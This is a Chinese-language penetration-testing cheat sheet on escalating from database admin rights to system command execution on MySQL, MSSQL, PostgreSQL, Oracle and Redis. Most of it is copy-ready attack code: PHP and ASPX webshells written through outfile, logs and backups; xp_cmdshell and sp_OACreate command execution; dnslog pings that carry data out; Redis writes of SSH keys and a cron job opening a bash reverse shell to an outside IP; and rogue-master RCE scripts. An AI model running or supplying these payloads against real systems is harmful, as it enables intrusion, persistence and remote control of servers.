前言 因为数据库提权在内网渗透也经常使用,外网也有可能出现数据库弱口令或未授权的情况,故单独摘出来,简单总结一下遇到的提权手段和版本限制
提权目的 从数据库的DBA权限(数据库的控制权限),提升到命令执行的权限(非root,一般是数据库用户权限)
mysql 提权 secure_file_priv限制 无论是UDF还是写文件都得有写的权限
使用select @@secure_file_priv;
查看用户是否有权限 如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。(默认值) 如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出 如果secure_file_priv=”” ,MYSQL服务导入和导出不做限制
UDF UDF(user defined function)用户自定义函数 ,是 MySQL 的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用C、C++语言编写
MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin文件夹 下才能创建自定义函数
查找插件库的路径show variables like '%plugin%'
将so文件的内容解码,写入到mysql插件库目录中select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
win就是dll文件
创建函数create function sys_eval returns string soname 'xxx.so';
执行系统命令select * from mysql.func;
select sys_eval("whoami");
写文件的方法 现在我们已经获取了sql语句的执行权限,现在我们开始想办法上传shell
into outfile(不常用) 1 2 3 4 5 6 7 8 union select 1 ,2 ,3 ,4 ,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/WebShell.php' 1 into outfile 'C:/wamp64/www/work/Webshell.php' lines terminated by '<?php phpinfo() ?>' ;http:/ / 172.16 .55 .130 / work/ sqli-1. php?id= 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>' ; http:/ / 172.16 .55 .130 / work/ sqli-1. php?id= 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>' ;
写入日志(MySQL 5.0 版本以上会创建日志文件) 1 2 3 4 5 6 7 8 9 10 show variables like '%datadir%' ; SHOW VARIABLES LIKE '%general%' set global general_log = "ON"; set global general_log_file = 'C:/InstalledSoftware/phpstudy_pro/WWW/58/public/config.php' ; set GLOBAL slow_query_log= "ON"; set GLOBAL slow_query_log_file= 'C:/phpStudy/PHPTutorial/WWW/slow.php' ; select "<?php @eval($_POST[abc]); ?>" from mysql.db where sleep(5 );
其他位置 MOF MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/
目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行
启动项 往启动项路径里面写入脚本,可以利用 vbs 执行一些 CMD 命令
1 2 3 4 5 6 7 # Windows Server 2003 的启动项路径: C:\Documents and Settings\Administrator\Start Menu\Programs\Startup C:\Documents and Settings\All Users\Start Menu\Programs\Startup # Windows Server 2008 的启动项路径: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
MSSQL(sqlserver)数据库提权 在 SQL Server 中,扩展存储过程 (Extended Stored Procedures)是允许 SQL Server 调用外部程序(通常是 DLL 文件)的机制
以下要求当前用户必须具有 DBA权限(sa用户)
1 2 3 select is_srvrolemember('sysadmin' );SELECT 1 where 1 = CHAR (70 + (select IS_SRVROLEMEMBER('sysadmin' )))
xp_cmdshell(sql server 2005版本以后默认关闭) xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令,任何输出都作为文本返回
判断环境 1 2 3 4 5 6 7 8 select count (* ) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname = 'xplog70.dll' declare @o int ;exec sp_addextendedproc 'xp_cmdshell' , 'xpsql70.dll' ;EXEC sp_configure 'xp_cmdshell' ;
命令执行 1 2 3 4 5 6 7 8 exec sp_configure 'show advanced options' ,1 ;reconfigure; exec sp_configure 'xp_cmdshell' ,1 ;reconfigure; exec master..xp_cmdshell 'whoami' ;
SP_OACreate(Ole Automation Procedures) OLE Automation 是一种允许应用程序通过 OLE(对象链接和嵌入)技术与其他应用程序和服务进行交互的机制。它主要用于在不同的应用程序之间实现对象的创建和操作 ,使得在一个应用程序中可以控制另一个应用程序的功能
1 2 3 4 5 6 7 8 select count (* ) from master.dbo.sysobjects where xtype= 'x' and name= 'SP_OACREATE' ;EXEC sp_configure 'show advanced options' ,1 EXEC sp_configure reconfigureEXEC sp_configure 'Ole Automation Procedures' ,1 EXEC sp_configure reconfigure
执行命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 DECLARE @object INT , @object2 INT , @object3 INT , @str VARCHAR (8000 )EXEC sp_OACreate 'WScript.Shell' , @object OUTPUTEXEC sp_OAMethod @object , 'exec' , @object2 OUTPUT, 'cmd.exe /c whoami' EXEC sp_OAMethod @object2 , 'StdOut' , @object3 OUTPUTEXEC sp_OAMethod @object3 , 'readall' , @str OUTPUTSELECT @str ;DECLARE @o INT ;EXEC sp_oacreate 'wscript.shell' , @o OUT ; EXEC sp_oamethod @o , 'run' , NULL , 'cmd.exe /c ping 9b1x4s.dnslog.cn' ; DECLARE @o INT ; DECLARE @r INT = 0 ; EXEC sp_oacreate 'wscript.shell' , @o OUT ; EXEC sp_oamethod @o , 'run' , NULL , 'cmd.exe /c echo "test123">e:log921.txt exit 0' ; SET @r = CASE WHEN @@ERROR = 0 THEN 1 ELSE 0 END ; IF @r = 1 WAITFOR DELAY '0:0:5' ;
写文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 DECLARE @object INT , @object2 INT EXEC Sp_OACreate 'Scripting.FileSystemObject' , @object OUTPUTEXEC sp_OAMethod @object ,'CreateTextFile' , @object2 OUTPUT, 'e:\123' , 1 EXEC sp_OAMethod @object2 , 'WriteLine' , NULL , 'test123' DECLARE @object INT EXEC Sp_OACreate 'ADODB.Stream' , @object OUTPUTEXEC Sp_OASetProperty @object , 'Type' , 1 EXEC sp_OASetProperty @object , 'Mode' , 3 EXEC sp_OAMethod @object , 'Open' , NULL EXEC sp_OAMethod @object , 'Write' , NULL , 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e EXEC sp_OAMethod @object , 'SaveToFile' , NULL , 'e:\shell.php' , 2 EXEC sp_OAMethod @object , 'Close' , NULL EXEC sp_OADestroy @object
Agent Job 代理执行计划任务 SQL Server Agent 默认情况下仅在 SQL Server 的 标准版 和 企业版 中启用
1 2 3 4 5 6 7 8 9 10 exec master.dbo.xp_servicecontrol 'start' ,'SQLSERVERAGENT' ;use msdb; exec sp_delete_job null ,'test' exec sp_add_job 'test' exec sp_add_jobstep null ,'test' ,null ,'1' ,'cmdexec' ,'cmd.exe /c "ping %USERNAME%.txg4wa.dnslog.cn"' exec sp_add_jobserver null ,'test' ,@@servername exec sp_start_job 'test' ;
利用备份功能写文件 获取文件路径 1 2 3 4 5 6 7 8 9 10 11 12 13 14 exec xp_availablemedia;exec xp_dirtree 'c:' ,1 exec xp_subdirs "C:\\"exec xp_dirtree 'c:' ,1 ,1 exec xp_dirtree 'c:' CREATE TABLE cmdtmp (dir varchar (8000 ));insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r e:\ %i in (xls_lr.aspx) do @echo %i'
写入shell 差异备份拿shell
1 2 3 4 5 6 7 8 9 10 11 create database test123;backup database test123 to disk = 'e:\bak.bak' ; use test123; create table [dbo].[test] ([cmd] [image]);insert into test(cmd) values (0x3C25657865637574652872657175657374282261222929253E );backup database test123 to disk= 'e:\shell.asp' WITH DIFFERENTIAL,FORMAT;
log备份拿shell
1 2 3 4 5 6 7 8 9 10 DROP DATABASE test_db_9;create database test_db_9;alter database test_db_9 set RECOVERY FULL ;backup database test_db_9 to disk = 'E:\危化品管理系统2022版\PC\\test_db_9.bak' ; use test_db_9; create table test_table(cmd image);insert into test_table(cmd) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>' );backup log test_db_9 to disk = 'E:\危化品管理系统2022版\PC\\test9.aspx'
PostgreSQL提权 PostgreSQL 是开源的关系数据库,适合需要复杂查询、高度数据完整性和扩展性的应用,如金融服务、GIS 应用
1 2 3 SELECT setting FROM pg_settings WHERE name = 'data_directory' ; SELECT setting FROM pg_settings WHERE name = 'config_file' ; select inet_server_addr()
写文件 1 2 3 4 copy (select '<?php phpinfo();?>' ) to 'C:/temp/1.php' ;select lo_from_bytea(12349 ,'ffffffff0x' );SELECT lo_export(12349 , '/tmp/ffffffff0x.txt' );
CVE-2019-9193(9.3-11.2) PostpreSQL 9.3-11.2 允许经过身份验证的superuser 或者pg_read_server_files 组用户执行任意命令(获得PostgreSQL用户权限)
1 2 3 4 5 6 7 select * from current_user ;SELECT * FROM pg_roles;DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami' ; SELECT * FROM cmd_exec;
Oracle提权 DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。 对于普通用户:授予connect, resource权限。 对于DBA管理用户:授予connect,resource, dba权限
通过注入存储过程提权(低权限提升至DBA)
通过utl_http.request存储过程提权 (1)创建Java包
(2)创建存储过程MYJAVACMD
(3)执行存储过程,成功添加用户
redis提权 写文件 利用redis写webshell(需要知道web的绝对路径)
1 2 3 4 5 6 redis-cli -h 192.168.111.133 info config set dir /var/www/html config set dbfilename shell.php set xxx "\r\n\r\n<?php @eval($_POST [shell]);?>\r\n\r\n" save
利用redis写ssh公钥
1 2 3 4 5 6 7 (echo -e "\n\n" ; cat /root/.ssh/id_rsa.pub; echo -e "\n\n" ) > /root/.ssh/key.txt cat /root/.ssh/key.txt | redis-cli -h 192.168.111.133 -x set xxx redis-cli -h 192.168.111.133 config set dir /root/.ssh config set dbfilename authorized_keys save
利用redis写计划任务
1 2 3 4 5 redis-cli -h 192.168.111.133 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.111.128/6666 0>&1\n\n" config set dir /var/spool/cron/crontabs/ config set dbfilename root save
Redis 主从复制 写的利用redis的备份功能 ,主从复制利用的是redis 读写分离的机制
利用一无损写文件 : 当Redis>=2.8 时,支持主从复制(master/slave模式)功能,通过主从复制Redis-slave会将Redis-master的数据库文件同步到本地python3 RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
利用二直接getshell: 在Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so)
1 2 python3 redis-rogue-server.py --rhost 192.168.111.133 --lhost 192.168.111.1 python3 redis-rce.py -r 192.168.111.133 -L 192.168.111.1 -f exp.so
Redis在Windows下的利用 Windows的Redis最新版本还停留在3.2,所以利用主从复制直接getshell没戏
写web shell(前提是需要知道web的绝对路径)
写启动项的话(需要机器重启)
利用主从写无损文件dll劫持(Redis>=2.8)python3 RedisWriteFile.py --rhost=192.168.56.140 --rport=6379 --lhost=192.168.56.1 --rpath="C:\Windows" --rfile="mstlsapi.dll" --lfile="/tmp/mstlsapiJ.dll"